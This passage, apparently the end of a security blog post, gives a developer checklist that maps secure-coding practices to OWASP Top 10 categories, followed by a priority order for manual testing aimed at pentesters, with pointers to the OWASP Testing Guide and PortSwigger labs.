| Check | Prevents | |---|---| | Every DB query uses parameterized statements | A03: Injection | | Resource queries include userId = session.userId | A01: Broken Access Control | | Passwords hashed with bcrypt/argon2 (cost ≥ 12) | A02: Cryptographic Failures | | User-supplied values never reach eval(), innerHTML, or template strings | A03: Injection, A03: SSTI | | Password reset tokens are 256-bit random, single-use, expire in ≤ 15 min | A04: Insecure Design | | DEBUG/verbose errors disabled in production | A05: Security Misconfiguration | | npm audit / pip-audit runs in CI | A06: Vulnerable Components | | Login endpoints are rate-limited | A07: Auth Failures | | Dependencies verified with lockfiles and checksums | A08: Integrity Failures | | Auth events, ACL violations, and validation failures are logged | A09: Logging Failures | | User-supplied URLs are validated and blocked for internal IPs | A10: SSRF |

For Pentesters

Map findings to OWASP categories in every report. It's the vocabulary clients and development teams understand, it provides remediation context, and it anchors severity ratings.

Priority order for manual testing time:

  1. A01 (Broken Access Control) — test every resource endpoint for IDOR and privilege escalation
  2. A03 (Injection) — test every user input that touches a database or system command
  3. A10 (SSRF) — test any feature that fetches URLs or makes outbound HTTP requests
  4. A02 (Cryptographic Failures) — inspect password storage, TLS configuration, token entropy
  5. A07 (Auth Failures) — test rate limiting, MFA enforcement, session invalidation

The OWASP Testing Guide (OTG) provides detailed test cases for every category. The PortSwigger Web Security Academy provides free labs mapped to each finding. Work through both before telling a client their application is secure.

Sharetwitterlinkedin

Related Posts